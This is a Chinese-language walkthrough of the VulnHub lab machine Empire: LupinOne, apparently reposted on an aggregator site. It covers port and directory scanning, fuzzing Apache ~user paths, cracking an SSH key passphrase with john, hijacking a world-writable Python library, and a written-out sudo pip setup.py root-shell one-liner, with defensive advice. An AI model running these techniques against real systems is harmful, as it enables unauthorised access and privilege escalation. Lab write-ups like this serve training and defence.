Empire: LupinOne

来自 <https://www.vulnhub.com/entry/empire-lupinone,750/#top>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.149

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.149

 

4,访问80端口开放的http服务

扫描枚举网站子目录

dirsearch -u http://192.168.23.149 -x 403,404  

http://192.168.23.149/robots.txt

http://192.168.23.149/~myfiles/

http://192.168.23.149/manual/en/index.html

5,在旧版 Apache 中,~username URL 会映射到该用户主目录下的公开网页目录。如果服务器开启了 mod_userdir 模块,攻击者可以通过枚举 ~username 的形式发现服务器上存在的用户及其公开目录。借助 wfuzz 这样的工具,可以高效地自动化测试不同的用户名,从而找到如 ~secret 这样的隐藏路径,进而获取潜在敏感信息或利用点

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.23.149/~FUZZ

http://192.168.23.149/~secret/

你好朋友,我很高兴你找到了我的秘密,我创建了这样的内容来与你分享我创建的 ssh 私钥文件,

它隐藏在这里的某个地方,这样黑客就不会找到它并使用快速通道破解我的密码。

我很聪明,我知道这一点。

有任何问题请告诉我

你最好的朋友 icex64

继续在该路径下模糊测试以搜索文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.23.149/~secret/.FUZZ.txt

访问得到一个全是编码后的网页

http://192.168.23.149/~secret/.mysecret.txt

解码就能得到ssh私钥文件

Base58 编码的特征

1. 设计初衷

Base58 是 比特币 等加密货币体系里广泛使用的一种编码方式,主要用于:

  • 地址表示(避免用户输错)。
  • 替代 Base64,以去掉容易混淆的字符。

2. 字符集特征

Base58 的字符集由以下 58 个符号组成:

123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

特点:

  • 去掉了 0(零)、O(大写字母 O)、I(大写字母 I)、l(小写字母 L),因为它们容易和其他字符混淆。
  • 没有 + / = 这类符号(Base64 常见)。
  • 全部由 大小写字母 + 数字 构成。

3. 长度特征

  • 编码后字符串通常 较长,但比 Base64 短(因为没有填充符 =)。
  • 没有固定的长度规则,但常见长度:
    • 比特币地址:通常 26–35 位。
    • IPFS CID、某些区块链交易哈希:可能更长。

4. 格式特征

  • 全字符串只会包含上述 58 个字符。
  • 不会出现 0, O, I, l, +, /, =。
  • 通常作为“可复制粘贴”的 ID 或地址出现,常见在钱包地址、交易哈希、邀请码中。
  • 在日志或数据包里看起来像一串“看似随机”的大小写字母+数字混合。

5. 检测方法

当你在分析日志或流量时,如果遇到可疑字符串,可以通过以下方式判断是否可能是 Base58:

  1. 检查是否只包含 Base58 字符集。
  2. 检查是否没有 0, O, I, l 等字符。
  3. 检查长度是否落在常见范围(比如 25–35 位时,很可能是加密货币地址)。
  4. 尝试解码,看是否得到合理的数据结构(如版本号+校验和)。

6. 典型应用场景

  • 比特币地址(最常见)。
  • IPFS CID(内容寻址标识符)。
  • 区块链中的交易 ID、私钥/公钥编码
  • 某些邀请码/序列号(为了用户友好)。

一句话总结

Base58 编码特征就是——由 58 个不易混淆的字母数字组成的字符串,不含 0/O/I/l/+/=/ 等符号,常见于加密货币地址、区块链标识和分布式系统 ID。

6,使用ssh2john生成一下密码本,然后再用john爆破一下,就可以得到密码了

使用 ssh2john.py转换私钥文件格式

  • John the Ripper 不能直接识别 OpenSSH 的私钥格式。
  • ssh2john.py 是一个转换工具(John 官方自带),可以把 SSH 私钥文件转化为 hash 格式,供 John 识别和破解。
  • 命令:
    /usr/share/john/ssh2john.py privatekey > passwd.txt
    • privatekey:解码后的私钥文件。
    • passwd.txt:输出文件,里面是 John 能识别的哈希。

使用 John 爆破密码

  • 如果私钥被设置了密码(passphrase),直接用来连接 SSH 会提示输入密码。
  • John the Ripper 可以通过字典攻击或暴力破解尝试恢复出这个密码。
  • 命令:
    john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
    • --wordlist=...:指定字典文件。
    • passwd.txt:刚才生成的哈希文件。
  • John 会尝试字典中的每一个候选词,直到找到正确的私钥密码。

所以私钥密码就是P@55w0rd!

7,先给密钥文件赋予600权限,然后再ssh登录

chmod 600 privatekey

ssh icex64@192.168.23.149 -i privatekey

登录成功,然后再进行信息收集

再查看如何提权

发现一个能够以arsene用户权限执行的py文件

cat /home/arsene/heist.py

这个程序调用了webbrowser.open,我们可以尝试篡改这个所有人可读可写可执行的文件以实现提权

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

添加一条调用/bin/bash的程序

然后再sudo运行这个文件

sudo -u arsene python3.9 /home/arsene/heist.py

成功切换用户

 

横向移动的原理

这就是 横向移动(Lateral Movement) 的典型手法:

  • 起点:攻击者先控制低权限用户(icex64)。
  • 突破口:找到某个程序/配置,允许以另一个用户运行代码(sudo -u arsene)。
  • 漏洞点:该程序依赖了一个可篡改的库文件(webbrowser.py),而这个库文件权限过宽(777)。
  • 利用链
    • 修改库文件 → 注入恶意代码。
    • 执行目标程序 → 被迫加载恶意模块。
    • 获得新用户(arsene)的 shell。

本质是 劫持依赖(Dependency Hijacking):利用目标用户执行程序时会调用的依赖库,并篡改该库来执行任意代码。
安全启示

  • 系统关键库文件绝不能设为 777。
  • sudo 配置应避免直接运行依赖第三方库的脚本。
  • 监控 /usr/lib/python*/ 下文件的完整性(如用 AIDE、Tripwire)。

总结一句话

这个横向移动的原理就是——利用 低权限用户可写的系统库文件(webbrowser.py),劫持了 Python 依赖模块,当目标用户用 sudo -u arsene 执行程序时,恶意代码被加载,从而实现从 icex64 用户横向移动到 arsene 用户的提权。

8,然后再sudo -l看能否提权

搜索怎么通过pip提权

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

最后成功提权成为root用户

 

sudo pip 提权原理

1. 漏洞前提

  • 当前用户可以执行:
    sudo pip install ...
    (也就是允许用 root 权限运行 pip)。
  • pip 在安装包时,会执行 setup.py 里的 Python 代码。
  • 关键点:setup.py 不仅仅定义安装逻辑,还能执行任意 Python 代码。

2. 攻击步骤分析

(1) 创建临时目录

TF=$(mktemp -d)

  • mktemp -d 创建一个随机命名的临时目录(例如 /tmp/tmp.abcd1234),存放伪造的“包”。
  • TF 保存该目录路径。

(2) 编写恶意 setup.py

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

  • 在该目录中写入一个 setup.py 文件。
  • 内容:
    import os
    os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')
  • 作用:当 setup.py 被执行时,直接替换当前进程为一个交互式 shell。
  • sh <$(tty) >$(tty) 2>$(tty) 确保 shell 与当前终端连接,而不是静默运行。

(3) 以 root 权限运行 pip

sudo pip install $TF

  • pip install 时,会自动执行目标路径下的 setup.py。
  • 因为这里是用 sudo 运行的 → 进程以 root 身份运行。
  • 结果:攻击者得到一个 root shell。

3. 本质原理

  1. pip install 的实现机制:
    • 解析 setup.py
    • 执行其中的安装逻辑(实际就是执行 Python 代码)。
  2. 当你能用 sudo 运行 pip 时,就等于获得了一个能让你写的任意 Python 代码在 root 权限下运行的执行器。
  3. 所以,sudo pip 本质就是代码执行 → 提权

4. 防御措施

  • 禁止在 sudoers 中直接允许 pip
  • 使用 pip install --user,避免全局安装。
  • 如果必须用 root 安装,推荐使用 python -m venv 隔离环境。
  • 生产系统中可以通过 sudoers 白名单限制具体命令,而不是整个 pip。

总结一句话

sudo pip 提权的原理是 —— pip 在安装包时会执行 setup.py,而 setup.py 是任意 Python 代码。当 pip 以 root 身份运行时,攻击者就能通过自制的包执行任意代码,从而直接获得 root shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/97573.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/97573.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/97573.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

飞腾2000+/64核 PCIE扫描异常问题排查

1、背景介绍近期项目中采用全国产飞腾计算模块搭配一块FPGA模块&#xff08;FPGA为复旦微的VU9P&#xff09;&#xff0c;实现业务数据的收发。FPGA中采用了Xilinx的XDMA IP核&#xff0c;飞腾计算模块中的FT2000/64核处理器通过PEU1的一路 PCIE3.0x8与VU9P相连接&#xff0c;发…

证明与激励:Walrus 可编程数据如何通过激励可用性证明获得安全性

Walrus 的可用性证明&#xff08;Proof of Availability&#xff0c;PoA&#xff09; 是部署在 Sui 上的链上凭证&#xff0c;它为数据托管创建了一个可验证的公开记录&#xff0c;并作为存储服务正式启动的标志。PoA 中的“激励”来自一个健全的经济框架&#xff1a;存储节点需…

云存储(参考自腾讯云计算工程师认证)

目录 存储基础知识&#xff1a; RAID&#xff1a; 云存储概述&#xff1a; 云存储产品&#xff1a; CBS&#xff1a; CFS文件存储&#xff1a; COS对象存储&#xff1a; 云存储安全&#xff1a; 存储基础知识&#xff1a; 机械硬盘&#xff1a;HDD&#xff0c;即传统硬…

面试tips--JVM(2)--对象创建的过程

一、创建对象的完整过程1. 类加载检查JVM 遇到 new 指令时&#xff0c;首先去检查这个类 User 是否已经被加载、解析和初始化过。如果没有&#xff0c;就先执行 类加载过程&#xff08;加载 .class 文件到方法区/元空间、创建 Class 对象等&#xff09;。【这个过程就是加载、验…

【Web安全】CRLF注入攻击深度解析:原理、场景与安全测试防御指南

文章目录前言&#xff1a;为什么CRLF注入是安全测试不可忽视的威胁&#xff1f;1. CRLF注入核心原理&#xff1a;从字符定义到协议依赖1.1 什么是CRLF&#xff1f;1.2 CRLF在HTTP协议中的关键作用1.3 CRLF注入的本质&#xff1a;格式混淆攻击2. CRLF注入典型利用场景与安全测试…

【安全学习】DVWA 靶场 SQL 注入漏洞原理分析与防御策略(教育用途)

注意&#xff1a;本文内容仅用于合法授权的安全研究、教学演示及漏洞复现&#xff0c;严禁用于任何未授权的系统或网络环境。 所有操作需在本地沙箱或个人可控靶场中执行&#xff0c;切勿对生产环境、他人系统进行测试&#xff0c;非法使用后果自负。&#x1f4cc; 法律与道德双…

Langflow Memory 技术深度分析

Langflow Memory 技术深度分析 1. Memory 技术概述和设计理念 1.1 技术概述 Langflow 的 Memory 系统是一个多层次的记忆管理框架&#xff0c;专门设计用于处理对话历史、上下文状态和会话数据的存储与检索。该系统采用了分层架构设计&#xff0c;支持多种记忆类型和存储后端&a…

从0开始搭建一个前端项目(vue + vite + less + typescript)

版本 node&#xff1a;v22.17.1 pnpm&#xff1a;v10.13.1 vue&#xff1a;^3.5.18 vite&#xff1a;^7.0.6 typescipt&#xff1a;~5.8.0脚手架初始化vue pnpm create vuelatest只选择&#xff1a; TypeScript, JSX 3. 用vscode打开创建的项目&#xff0c;并删除多余的代码esl…

(十)ps识别:Swin Transformer-T 与 ResNet50 结合的 PS 痕迹识别模型训练过程解析

Swin Transformer-T 与 ResNet50 结合的 PS 痕迹识别模型 思路分析模型融合思路&#xff1a; 利用ResNet50提取图像的局部纹理和边缘特征&#xff0c;这对检测篡改区域的细微变化非常重要利用Swin Transformer-T捕捉全局上下文信息和长距离依赖关系&#xff0c;有助于理解图像整…

[ICCV25]TRACE:用3D高斯直接学习物理参数,让AI“推演”未来场景

导读在复杂的动态世界中&#xff0c;让机器人既能看懂场景&#xff0c;又能预测未来变化&#xff0c;是一项极具挑战性的任务。过去的方法往往依赖人工标注或简化的物理模型&#xff0c;却难以真正捕捉物体运动的规律。TRACE 提出了一个全新的思路&#xff1a;把三维场景中的每…

电商数据开发实践:深度剖析1688商品详情 API 的技术与应用

在电商行业数字化转型的进程中&#xff0c;数据获取与处理的效率和准确性&#xff0c;直接影响着企业的竞争力。作为开发者&#xff0c;相信大家都遇到过这类棘手问题&#xff1a;在构建时&#xff0c;因数据不一致导致采购决策失误&#xff1b;使用传统&#xff0c;又常遭遇电…

Docker 详解+示例(部署Kafka镜像容器)

介 绍Docker 是一个开源的容器化平台&#xff0c;它的核心目标是解决 “软件在不同环境下运行不一致” 的问题&#xff0c;实现 “一次构建&#xff0c;到处运行” 。它基于 Linux 内核的底层技术&#xff0c;将应用程序及其依赖&#xff08;如库文件、配置、运行环境等&#x…

SciPy科学计算与应用:SciPy应用实战-数据分析与工程计算

SciPy案例研究&#xff1a;从理论到实践 学习目标 通过本课程&#xff0c;学员将了解一系列实际案例&#xff0c;深入探讨SciPy库在数据分析、物理模拟和工程计算中的应用。同时学员将学习如何利用SciPy解决实际问题&#xff0c;加深对SciPy各个模块的理解和应用能力。 相关知识…

React学习教程,从入门到精通, ReactJS - 架构(6)

ReactJS - 架构 React应用的架构 React的架构就像一个井然有序的厨房&#xff0c;每个工具都有其特定的位置和用途。在其核心&#xff0c;React遵循一个基于组件的架构&#xff0c;这意味着我们使用可重用的组件构建应用程序。 组件&#xff1a;构建块 可以把组件想象成乐高积木…

Bias / variance and neural networks|偏差/方差和神经网络

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章&#xff0c;有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn&#xff0c;这里还有很多有关计算机的知识&#xff0c;欢迎进行留言或…

Linux HMM(Heterogeneous Memory Management)的应用

原理篇见【https://blog.csdn.net/shenjunpeng/article/details/150931847?spm1011.2415.3001.5331】 1. HMM 的优势与挑战 1.1 优势 统一虚拟地址空间&#xff1a;简化异构计算平台的数据共享和访问。 高效页表同步&#xff1a;支持设备端的 page fault 和页表同步&#x…

鸿蒙创新赛活动——Mac提交压缩失败后续

Mac提交压缩失败后续来了… 传送带【上一篇】 背景 华为2025HarmonyOS创新赛 上传作品的时候&#xff0c;遇到了一个提示 ZIP包中的Office文件含有嵌入文件&#xff0c;就去这个Office文件找&#xff0c;怎么也找不到嵌入的文件。 解决方法1 上次推荐的解决方式是&#xff0…

Ubuntu操作系统下使用mysql、mongodb、redis

目录 一、核心步骤概览 二. MySQL &#xff08;下面以其他用户为例&#xff09; 1,、安装 2、管理服务 3、连接与使用 4、配置文件位置 5、下面来演示一下安装好之后如何在Linux操作系统中远程登录和window互连Linux 远程登录 window连Linux&#xff08;连不上的&…

springboot java开发的rocketmq 顺序消息保证

首先要明确一个关键点&#xff1a;RocketMQ 保证的是一种局部顺序&#xff08;Partially Ordered&#xff09;​&#xff0c;而非全局顺序&#xff08;Globally Ordered&#xff09;。这意味着消息的顺序性只在某个特定维度&#xff08;比如同一个订单ID&#xff09;下保证&…

【机器学习】 14 Kernels

本章目录 14 Kernels 479 14.1 Introduction 479 14.2 Kernel functions 479 14.2.1 RBF kernels 480 14.2.2 Kernels for comparing documents 480 14.2.3 Mercer (positive definite) kernels 481 14.2.4 Linear kernels 482 14.2.5 Matern kernels 482 14.2.6 String kerne…